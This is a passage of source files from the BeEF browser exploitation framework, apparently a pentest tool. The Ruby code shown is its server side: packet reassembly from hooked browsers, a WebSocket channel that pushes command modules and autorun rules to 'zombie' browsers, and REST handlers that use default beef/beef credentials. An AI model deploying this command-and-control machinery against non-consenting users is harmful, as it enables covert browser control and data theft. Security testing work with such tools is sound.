\"Bind Socket [#{name}] does not exists.\"\n              return\n            end\n            @sockets[name]['data']\n          end\n\n          def unbind_socket(name)\n            t = @sockets[name]['thread']\n            if t.alive?\n              print_debug \"Thread to be killed: #{t}\"\n              Thread.kill(t)\n              print_info \"Bind Socket [#{name}] killed.\"\n            else\n              print_info \"Bind Socket [#{name}] ALREADY killed.\"\n            end\n          end\n\n          # Builds a URL based on the path and extension, if neither are passed a random URL will be generated\n          # @param [String] path URL Path defined by bind()\n          # @param [String] extension Extension defined by bind()\n          # @param [Integer] length The amount of characters to be used when generating a random URL\n          # @return [String] Generated URL\n          def build_url(path, extension, length = 20)\n            url = path.nil? ? '/' + rand(36**length).to_s(36) : path\n            url += extension.nil? ? '' : '.' + extension\n            url\n          end\n\n          # Checks if the file is allocated, if the file isn't return true to pass onto FileHandler.\n          # @param [String] url URL Path of mounted file\n          # @return [Boolean] Returns true if the file is mounted\n          def check(url)\n            return false unless @allocations.has_key?(url)\n\n            count = @allocations[url]['count']\n\n            return true if count == -1\n\n            if count > 0\n              if (count - 1) == 0\n                unbind(url)\n              else\n                @allocations[url]['count'] = count - 1\n              end\n              return true\n            end\n\n            false\n          end\n\n          @http_server\n          @allocations\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/network_stack/handlers/dynamicreconstruction.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module NetworkStack\n      module Handlers\n        # @note DynamicHandler is used reconstruct segmented traffic from the hooked browser\n        class DynamicReconstruction < BeEF::Core::Router::Router\n          # @note holds packet queue\n          PQ = []\n\n          # @note obtain dynamic mount points from HttpHookServer\n          MOUNTS = BeEF::Core::Server.instance.mounts\n\n          before do\n            error 404 if params.empty?\n            headers 'Pragma' => 'no-cache',\n                    'Cache-Control' => 'no-cache',\n                    'Expires' => '0'\n          end\n\n          # Combines packet information and pushes to PQ (packet queue), then checks packets\n          get '/' do\n            headers 'Pragma' => 'no-cache',\n                    'Cache-Control' => 'no-cache',\n                    'Expires' => '0',\n                    'Content-Type' => 'text/javascript',\n                    'Access-Control-Allow-Origin' => '*',\n                    'Access-Control-Allow-Methods' => 'POST, GET'\n            begin\n              PQ << {\n                beefhook: params[:bh],\n                stream_id: Integer(params[:sid]),\n                packet_id: Integer(params[:pid]),\n                packet_count: Integer(params[:pc]),\n                data: params[:d]\n              }\n            rescue TypeError, ArgumentError => e\n              print_debug \"Hooked browser returned an invalid argument: #{e}\"\n            end\n\n            Thread.new do\n              check_packets\n            end\n          end\n\n          # Check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets\n          def check_packets\n            checked = []\n            PQ.each do |packet|\n              next if checked.include?(packet[:beefhook] + ':' + String(packet[:stream_id]))\n\n              checked << (packet[:beefhook] + ':' + String(packet[:stream_id]))\n              pc = 0\n              PQ.each do |p|\n                pc += 1 if packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id]\n              end\n              next unless packet[:packet_count] == pc\n\n              packets = expunge(packet[:beefhook], packet[:stream_id])\n              data = ''\n              packets.each_with_index do |sp, _i|\n                data += sp[:data] if packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id]\n              end\n              b64 = Base64.decode64(data)\n              begin\n                res = JSON.parse(b64).first\n                res['beefhook'] = packet[:beefhook]\n                res['request'] = request\n                session_key = BeEF::Core::Configuration.instance.get('beef.http.hook_session_name')\n                res['beefsession'] = request.cookies[session_key] ||\n                                    request.params[session_key] ||\n                                    request.env[session_key]\n\n                execute(res)\n              rescue JSON::ParserError => e\n                print_debug 'Network stack could not decode packet stream.'\n                print_debug 'Dumping Stream Data [base64]: ' + data\n                print_debug 'Dumping Stream Data: ' + b64\n              end\n            end\n          end\n\n          # Delete packets that have been reconstructed, return deleted packets\n          # @param [String] beefhook Beefhook of hooked browser\n          # @param [Integer] stream_id The stream ID\n          def expunge(beefhook, stream_id)\n            packets = PQ.select { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }\n            PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }\n            packets.sort_by { |p| p[:packet_id] }\n          end\n\n          # Execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler\n          # @param [Hash] data Hash of data that has been rebuilt by the dynamic reconstruction\n          def execute(data)\n            handler = get_param(data, 'handler')\n            if MOUNTS.has_key?(handler)\n              if MOUNTS[handler].instance_of?(Array) and MOUNTS[handler].length == 2\n                MOUNTS[handler][0].new(data, MOUNTS[handler][1])\n              else\n                MOUNTS[handler].new(data)\n              end\n            end\n          end\n\n          # Assist function for getting parameter from hash\n          # @param [Hash] query Hash to pull key from\n          # @param [String] key The key association to return from `query`\n          # @return Value associated with `key`\n          def get_param(query, key)\n            return nil if query[key].nil?\n\n            query[key]\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/network_stack/handlers/raw.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module NetworkStack\n      module Handlers\n        class Raw\n          def initialize(status, header = {}, body = nil)\n            @status = status\n            @header = header\n            @body = body\n          end\n\n          def call(_env)\n            # [@status, @header, @body]\n            @response = Rack::Response.new(\n              body = @body,\n              status = @status,\n              header = @header\n            )\n          end\n\n          @request\n\n          @response\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/network_stack/handlers/redirector.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module NetworkStack\n      module Handlers\n        # @note Redirector is used as a Rack app for mounting HTTP redirectors, instead of content\n        # @todo Add new options to specify what kind of redirect you want to achieve\n        class Redirector\n          @target = ''\n\n          def initialize(target)\n            @target = target\n          end\n\n          def call(_env)\n            @response = Rack::Response.new(\n              body = ['302 found'],\n              status = 302,\n              header = {\n                'Content-Type' => 'text',\n                'Location' => @target\n              }\n            )\n          end\n\n          @request\n\n          @response\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/network_stack/websocket/websocket.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Websocket\n      require 'singleton'\n      require 'json'\n      require 'base64'\n      require 'em-websocket'\n      require 'socket'\n\n      class Websocket\n        include Singleton\n        include BeEF::Core::Handlers::Modules::Command\n\n        @@activeSocket = {}\n        @@lastalive = {}\n        @@config = BeEF::Core::Configuration.instance\n        @@debug = @@config.get('beef.http.debug')\n\n        MOUNTS = BeEF::Core::Server.instance.mounts\n\n        def initialize\n          return unless @@config.get('beef.http.websocket.enable')\n\n          secure = @@config.get('beef.http.websocket.secure')\n\n          # @note Start a WSS server socket\n          if secure\n            cert_key = @@config.get('beef.http.https.key')\n            cert_key = File.expand_path cert_key, $root_dir unless cert_key.start_with? '/'\n            unless File.exist? cert_key\n              print_error \"Error: #{cert_key} does not exist\"\n              exit 1\n            end\n\n            cert = @@config.get('beef.http.https.cert')\n            cert = File.expand_path cert, $root_dir unless cert.start_with? '/'\n            unless File.exist? cert\n              print_error \"Error: #{cert} does not exist\"\n              exit 1\n            end\n\n            ws_secure_options = {\n              host: @@config.get('beef.http.host'),\n              port: @@config.get('beef.http.websocket.secure_port'),\n              secure: true,\n              tls_options: {\n                cert_chain_file: cert,\n                private_key_file: cert_key\n              }\n            }\n            start_websocket_server(ws_secure_options)\n          end\n\n          # @note Start a WS server socket\n          ws_options = {\n            host: @@config.get('beef.http.host'),\n            port: @@config.get('beef.http.websocket.port'),\n            secure: false\n          }\n          start_websocket_server(ws_options)\n        end\n\n        def start_websocket_server(ws_options)\n          secure = ws_options[:secure] || false\n\n          Thread.new do\n            # prevent issues when starting at the same time\n            # the TunnelingProxy, Thin and Evented WebSockets\n            sleep 2\n\n            EventMachine.run do\n              EventMachine::WebSocket.start(ws_options) do |ws|\n                ws.onopen do |_handshake|\n                  print_debug(\"[WebSocket] New #{secure ? 'WebSocketSecure' : 'WebSocket'} channel open.\")\n                end\n\n                ws.onerror do |error|\n                  print_error \"[WebSocket] Error: #{error}\"\n                end\n\n                ws.onclose do |msg|\n                  print_debug \"[WebSocket] Connection closed: #{msg}\"\n                end\n\n                ws.onmessage do |msg, _type|\n                  begin\n                    msg_hash = JSON.parse(msg)\n                    print_debug \"[WebSocket] New message: #{msg_hash}\" if @@debug\n                  rescue StandardError => e\n                    print_error \"[WebSocket] Failed parsing WebSocket message: #{e.message}\"\n                    print_error e.backtrace\n                    next\n                  end\n\n                  # new zombie\n                  unless msg_hash['cookie'].nil?\n                    print_debug('[WebSocket] Browser says hello! WebSocket is running')\n                    # insert new connection in activesocket\n                    @@activeSocket[(msg_hash['cookie']).to_s] = ws\n                    print_debug(\"[WebSocket] activeSocket content [#{@@activeSocket}]\")\n\n                    hb_session = msg_hash['cookie']\n                    hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hb_session).first\n                    if hooked_browser.nil?\n                      print_error '[WebSocket] Fingerprinting not finished yet.'\n                      print_more 'ARE rules were not triggered. You may want to trigger them manually via REST API.'\n                      next\n                    end\n\n                    BeEF::Core::AutorunEngine::Engine.instance.find_and_run_all_matching_rules_for_zombie(hooked_browser.id)\n\n                    next\n                  end\n\n                  # polling zombie\n                  unless msg_hash['alive'].nil?\n                    hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: msg_hash['alive']).first\n\n                    # This will happen if you reset BeEF database (./beef -x),\n                    # and existing zombies try to connect. These zombies will be ignored,\n                    # as they are unknown and presumed invalid.\n                    #\n                    # @todo: consider fixing this. add zombies instead of ignoring them\n                    #        and report \"Hooked browser X appears to have come back online\"\n                    if hooked_browser.nil?\n                      # print_error \"Could not find zombie with ID #{msg_hash['alive']}\"\n                      next\n                    end\n\n                    hooked_browser.lastseen = Time.new.to_i\n                    hooked_browser.count!\n                    hooked_browser.save!\n\n                    # Check if new modules need to be sent\n                    zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false)\n                    zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }\n\n                    # Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered\n                    are_body = ''\n                    are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hooked_browser.session)\n                    are_executions.each do |are_exec|\n                      are_body += are_exec.mod_body\n                      are_exec.update(is_sent: true, exec_time: Time.new.to_i)\n                    end\n                    @@activeSocket[hooked_browser.session].send(are_body) unless are_body.empty?\n\n                    # @todo antisnatchor:\n                    # @todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions\n                    # Check if new forged requests need to be sent (Requester/TunnelingProxy)\n                    if @@config.get('beef.extension.requester.loaded')\n                      dhook = BeEF::Extension::Requester::API::Hook.new\n                      dhook.requester_run(hooked_browser, '')\n                    end\n\n                    # Check if new XssRays scan need to be started\n                    if @@config.get('beef.extension.xssrays.loaded')\n                      xssrays = BeEF::Extension::Xssrays::API::Scan.new\n                      xssrays.start_scan(hooked_browser, '')\n                    end\n\n                    next\n                  end\n\n                  # received request for a specific handler\n                  # the zombie is probably trying to return command module results\n                  # or call back to a running BeEF extension\n                  unless msg_hash['handler'].nil?\n                    # Call the handler for websocket cmd response\n                    # Base64 decode, parse JSON, and forward\n                    execute(msg_hash)\n                    next\n                  end\n\n                  print_error \"[WebSocket] Unexpected WebSocket message: #{msg_hash}\"\n                end\n              end\n            end\n          end\n        rescue StandardError => e\n          print_error \"[WebSocket] Error: #{e.message}\"\n          raise e\n        end\n\n        #\n        # @note retrieve the right websocket channel given an hooked browser session\n        # @param [String] session the hooked browser session\n        #\n        def getsocket(session)\n          !@@activeSocket[session].nil?\n        end\n\n        #\n        # @note send a function to hooked and ws browser\n        # @param [String] fn the module to execute\n        # @param [String] session the hooked browser session\n        #\n        def send(fn, session)\n          @@activeSocket[session].send(fn)\n        end\n\n        #\n        # Call the handler for websocket cmd response\n        #\n        # @param [Hash] data contains the answer of a command\n        #\n        # @example data hash:\n        #\n        # {\"handler\"=>\"/command/test_beef_debug.js\",\n        # \"cid\"=>\"1\",\n        # \"result\"=>\n        #  \"InJlc3VsdD1jYWxsZWQgdGhlIGJlZWYuZGVidWcoKSBmdW5jdGlvbi4gQ2hlY2sgdGhlIGRldmVsb3BlciBjb25zb2xlIGZvciB5b3VyIGRlYnVnIG1lc3NhZ2UuIg==\",\n        # \"status\"=>\"undefined\",\n        # \"callback\"=>\"undefined\",\n        # \"bh\"=>\n        #  \"jkERa2PIdTtwnwxheXiiGZsm4ukfAD6o84LpgcJBW0g7S8fIh0Uq1yUZxnC0Cr163FxPWCpPN3uOVyPZ\"}\n        # => {\"handler\"=>\"/command/test_beef_debug.js\", \"cid\"=>\"1\", \"result\"=>\"InJlc3VsdD1jYWxsZWQgdGhlIGJlZWYuZGVidWcoKSBmdW5jdGlvbi4gQ2hlY2sgdGhlIGRldmVsb3BlciBjb25zb2xlIGZvciB5b3VyIGRlYnVnIG1lc3NhZ2UuIg==\", \"status\"=>\"undefined\", \"callback\"=>\"undefined\", \"bh\"=>\"jkERa2PIdTtwnwxheXiiGZsm4ukfAD6o84LpgcJBW0g7S8fIh0Uq1yUZxnC0Cr163FxPWCpPN3uOVyPZ\"}\n        #\n        def execute(data)\n          print_debug data.inspect if @@debug\n\n          hooked_browser = data['bh']\n          unless BeEF::Filters.is_valid_hook_session_id?(hooked_browser)\n            print_error '[Websocket] BeEF hook is invalid'\n            return\n          end\n\n          command_id = data['cid'].to_s\n          unless BeEF::Filters.nums_only?(command_id)\n            print_error '[Websocket] command_id is invalid'\n            return\n          end\n          command_id = command_id.to_i\n\n          handler = data['handler']\n          if handler.to_s.strip == ''\n            print_error '[Websocket] handler is invalid'\n            return\n          end\n\n          case data['status']\n          when '0', 'undefined'\n            status = 0\n          when '1'\n            status = 1\n          when '2'\n            status = 2\n          else\n            print_error '[Websocket] command status is invalid'\n            return\n          end\n\n          command_results = {}\n\n          command_results['data'] = JSON.parse(Base64.decode64(data['result']).force_encoding('UTF-8'))\n\n          if command_results.empty?\n            print_error '[Websocket] command results are empty'\n            return\n          end\n\n          command_mod = \"beef.module.#{handler.gsub('/command/', '').gsub('.js', '')}\"\n          command_name = @@config.get(\"#{command_mod}.class\")\n\n          # process results from command module\n          if handler.start_with?('/command/')\n            command = BeEF::Core::Command.const_get(command_name.capitalize)\n            command_obj = command.new(BeEF::Module.get_key_by_class(command_name))\n            command_obj.session_id = hooked_browser\n            command_obj.build_callback_datastore(\n              command_results['data'],\n              command_id,\n              hooked_browser,\n              nil,\n              nil\n            )\n\n            command_obj.post_execute if command_obj.respond_to?(:post_execute)\n\n            BeEF::Core::Models::Command.save_result(\n              hooked_browser,\n              command_id,\n              @@config.get(\"#{command_mod}.name\"),\n              command_results,\n              status\n            )\n          else # processing results from extensions, call the right handler\n            data['beefhook'] = hooked_browser\n            data['results'] = command_results['data']\n\n            if MOUNTS.has_key?(handler)\n              if MOUNTS[handler].instance_of?(Array) and MOUNTS[handler].length == 2\n                MOUNTS[handler][0].new(data, MOUNTS[handler][1])\n              else\n                MOUNTS[handler].new(data)\n              end\n            end\n          end\n        rescue StandardError => e\n          print_error \"Error in BeEF::Core::Websocket: #{e.message}\"\n          raise e\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/rest/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Rest\n      module RegisterHooksHandler\n        def self.mount_handler(server)\n          server.mount('/api/hooks', BeEF::Core::Rest::HookedBrowsers.new)\n        end\n      end\n\n      module RegisterBrowserDetailsHandler\n        def self.mount_handler(server)\n          server.mount('/api/browserdetails', BeEF::Core::Rest::BrowserDetails.new)\n        end\n      end\n\n      module RegisterModulesHandler\n        def self.mount_handler(server)\n          server.mount('/api/modules', BeEF::Core::Rest::Modules.new)\n        end\n      end\n\n      module RegisterCategoriesHandler\n        def self.mount_handler(server)\n          server.mount('/api/categories', BeEF::Core::Rest::Categories.new)\n        end\n      end\n\n      module RegisterLogsHandler\n        def self.mount_handler(server)\n          server.mount('/api/logs', BeEF::Core::Rest::Logs.new)\n        end\n      end\n\n      module RegisterAdminHandler\n        def self.mount_handler(server)\n          server.mount('/api/admin', BeEF::Core::Rest::Admin.new)\n        end\n      end\n\n      module RegisterServerHandler\n        def self.mount_handler(server)\n          server.mount('/api/server', BeEF::Core::Rest::Server.new)\n        end\n      end\n\n      module RegisterAutorunHandler\n        def self.mount_handler(server)\n          server.mount('/api/autorun', BeEF::Core::Rest::AutorunEngine.new)\n        end\n      end\n\n      BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')\n      BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterBrowserDetailsHandler, BeEF::API::Server, 'mount_handler')\n      BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')\n      BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler')\n      BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')\n      BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')\n      BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler')\n      BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler')\n\n      #\n      # Check the source IP is within the permitted subnet\n      # This is from extensions/admin_ui/controllers/authentication/authentication.rb\n      #\n      def self.permitted_source?(ip)\n        # test if supplied IP address is valid\n        return false unless BeEF::Filters.is_valid_ip?(ip)\n\n        # get permitted subnets\n        permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet')\n        return false if permitted_ui_subnet.nil?\n        return false if permitted_ui_subnet.empty?\n\n        # test if ip within subnets\n        permitted_ui_subnet.each do |subnet|\n          return true if IPAddr.new(subnet).include?(ip)\n        end\n\n        false\n      end\n\n      #\n      # Rate limit through timeout\n      # This is from extensions/admin_ui/controllers/authentication/\n      #\n      # Brute Force Mitigation\n      # Only one login request per config_delay_id seconds\n      #\n      # @param config_delay_id <string> configuration name for the timeout\n      # @param last_time_attempt <Time> last time this was attempted\n      # @param time_record_set_fn <lambda> callback, setting time on failure\n      #\n      # @return <boolean>\n      def self.timeout?(config_delay_id, last_time_attempt, time_record_set_fn)\n        success = true\n        time = Time.now\n        config = BeEF::Core::Configuration.instance\n        fail_delay = config.get(config_delay_id)\n\n        if time - last_time_attempt < fail_delay.to_f\n          time_record_set_fn.call(time)\n          success = false\n        end\n\n        success\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/rest/handlers/admin.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Rest\n      class Admin < BeEF::Core::Router::Router\n        config = BeEF::Core::Configuration.instance\n        time_since_last_failed_auth = 0\n\n        before do\n          # @todo: this code comment is a lie. why is it here?\n          # error 401 unless params[:token] == config.get('beef.api_token')\n          halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)\n\n          # halt if requests are inside beef.restrictions.api_attempt_delay\n          if time_since_last_failed_auth != 0 && !BeEF::Core::Rest.timeout?('beef.restrictions.api_attempt_delay',\n                                                                            time_since_last_failed_auth,\n                                                                            ->(time) { time_since_last_failed_auth = time })\n            halt 401\n          end\n\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        # @note Authenticate using the config set username/password to retrieve the \"token\" used for subsquent calls.\n        # Return the secret token used for subsquene tAPI calls.\n        #\n        # Input must be specified in JSON format\n        #\n        # +++ Example: +++\n        # POST /api/admin/login HTTP/1.1\n        # Host: 127.0.0.1:3000\n        # Content-Type: application/json; charset=UTF-8\n        # Content-Length: 18\n        #\n        # {\"username\":\"beef\", \"password\":\"beef\"}\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        # Content-Length: 35\n        #\n        # {\"success\":\"true\",\"token\":\"122323121\"}\n        #\n        post '/login' do\n          request.body.rewind\n          begin\n            data = JSON.parse request.body.read\n            if data['username'].eql?(config.get('beef.credentials.user')) && data['password'].eql?(config.get('beef.credentials.passwd'))\n              return {\n                'success' => true,\n                'token' => config.get('beef.api_token').to_s\n              }.to_json\n            end\n\n            BeEF::Core::Logger.instance.register('Authentication', \"User with ip #{request.ip} has failed to authenticate in the application.\")\n            time_since_last_failed_auth = Time.now\n            halt 401\n          rescue StandardError\n            error 400\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/rest/handlers/autorun_engine.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Rest\n      class AutorunEngine < BeEF::Core::Router::Router\n        config = BeEF::Core::Configuration.instance\n\n        before do\n          error 401 unless params[:token] == config.get('beef.api_token')\n          halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        #\n        # Get all rules\n        #\n        get '/rules' do\n          rules = BeEF::Core::Models::Rule.all\n          {\n            'success' => true,\n            'count' => rules.length,\n            'rules' => rules.to_json\n          }.to_json\n        rescue StandardError => e\n          print_error(\"Internal error while retrieving Autorun rules: #{e.message}\")\n          halt 500\n        end\n\n        # Returns a specific rule by ID\n        get '/rule/:rule_id' do\n          rule_id = params[:rule_id]\n\n          rule = BeEF::Core::Models::Rule.find(rule_id)\n          raise InvalidParameterError, 'id' if rule.nil?\n\n          halt 404 if rule.empty?\n\n          rule.to_json\n        rescue InvalidParameterError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while retrieving Autorun rule with id #{rule_id} (#{e.message})\"\n          halt 500\n        end\n\n        #\n        # Add a new ruleset. Return the rule_id if request was successful.\n        # @return [Integer] rule ID\n        #\n        post '/rule/add' do\n          request.body.rewind\n          data = JSON.parse request.body.read\n          rloader = BeEF::Core::AutorunEngine::RuleLoader.instance\n          rloader.load_rule_json(data).to_json\n        rescue StandardError => e\n          print_error \"Internal error while adding Autorun rule: #{e.message}\"\n          { 'success' => false, 'error' => e.message }.to_json\n        end\n\n        #\n        # Delete a ruleset\n        #\n        delete '/rule/:rule_id' do\n          rule_id = params[:rule_id]\n          rule = BeEF::Core::Models::Rule.find(rule_id)\n          raise InvalidParameterError, 'id' if rule.nil?\n          rule.destroy\n\n          { 'success' => true }.to_json\n        rescue InvalidParameterError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while deleting Autorun rule: #{e.message}\"\n          { 'success' => false, 'error' => e.message }.to_json\n        end\n\n        #\n        # Update a ruleset\n        #\n        patch '/rule/:rule_id' do\n          rule_id = params[:rule_id]\n          rule = BeEF::Core::Models::Rule.find(rule_id)\n          raise InvalidParameterError, 'id' if rule.nil?\n          data = JSON.parse request.body.read\n          rloader = BeEF::Core::AutorunEngine::RuleLoader.instance\n          rloader.update_rule_json(rule_id, data)\n\n          { 'success' => true }.to_json\n        rescue InvalidParameterError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          print_error \"Internal error while updating Autorun rule: #{e.message}\"\n          { 'success' => false, 'error' => e.message }.to_json\n        end\n\n        #\n        # Run a specified rule on all online hooked browsers (if the zombie matches the rule).\n        # Offline hooked browsers are ignored\n        #\n        get '/run/:rule_id' do\n          rule_id = params[:rule_id]\n\n          online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15))\n\n          if online_hooks.nil?\n            return { 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json\n          end\n\n          are = BeEF::Core::AutorunEngine::Engine.instance\n          online_hooks.each do |hb|\n            are.run_matching_rules_on_zombie(rule_id, hb.id)\n          end\n\n          { 'success' => true }.to_json\n        rescue StandardError => e\n          msg = \"Could not trigger rules: #{e.message}\"\n          print_error \"[ARE] #{msg}\"\n          { 'success' => false, 'error' => msg }.to_json\n        end\n\n        #\n        # Run a specified rule on the specified hooked browser.\n        #\n        get '/run/:rule_id/:hb_id' do\n          rule_id = params[:rule_id]\n          hb_id = params[:hb_id]\n\n          raise InvalidParameterError, 'rule_id' if rule_id.nil?\n          raise InvalidParameterError, 'hb_id' if hb_id.nil?\n\n          are = BeEF::Core::AutorunEngine::Engine.instance\n          are.run_matching_rules_on_zombie(rule_id, hb_id)\n\n          { 'success' => true }.to_json\n        rescue InvalidParameterError => e\n          print_error e.message\n          halt 400\n        rescue StandardError => e\n          msg = \"Could not trigger rule: #{e.message}\"\n          print_error \"[ARE] #{msg}\"\n          { 'success' => false, 'error' => msg }.to_json\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/rest/handlers/browserdetails.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Rest\n      class BrowserDetails < BeEF::Core::Router::Router\n        config = BeEF::Core::Configuration.instance\n\n        before do\n          error 401 unless params[:token] == config.get('beef.api_token')\n          halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        #\n        # @note Get all browser details for the specified session\n        #\n        get '/:session' do\n          hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first\n          error 404 if hb.nil?\n\n          details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session)\n          error 404 if details.nil?\n\n          result = []\n          details.each do |d|\n            result << { key: d[:detail_key], value: d[:detail_value] }\n          end\n\n          output = {\n            'count' => result.length,\n            'details' => result\n          }\n\n          output.to_json\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/rest/handlers/categories.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Rest\n      class Categories < BeEF::Core::Router::Router\n        config = BeEF::Core::Configuration.instance\n\n        before do\n          error 401 unless params[:token] == config.get('beef.api_token')\n          halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        get '/' do\n          categories = BeEF::Modules.get_categories\n          cats = []\n          i = 0\n          # TODO: add sub-categories support!\n          categories.each do |category|\n            cat = { 'id' => i, 'name' => category }\n            cats << cat\n            i += 1\n          end\n          cats.to_json\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/rest/handlers/hookedbrowsers.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Rest\n      class HookedBrowsers < BeEF::Core::Router::Router\n        config = BeEF::Core::Configuration.instance\n\n        before do\n          error 401 unless params[:token] == config.get('beef.api_token')\n          halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        #\n        # @note Get online and offline hooked browsers details (like name, version, os, ip, port, ...)\n        # When websockets are enabled this will allow the ws_poll_timeout config to be used to check if the browser is online or not.\n        #\n        get '/' do\n          if config.get('beef.http.websocket.enable') == false\n            online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15)))\n            offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - 15)))\n          # If we're using websockets use the designated threshold timeout to determine live, instead of hardcoded 15\n          # Why is it hardcoded 15?\n          else\n            timeout = config.get('beef.http.websocket.ws_poll_timeout')\n            online_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - timeout)))\n            offline_hooks = hb_to_json(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - timeout)))\n          end\n\n          output = {\n            'hooked-browsers' 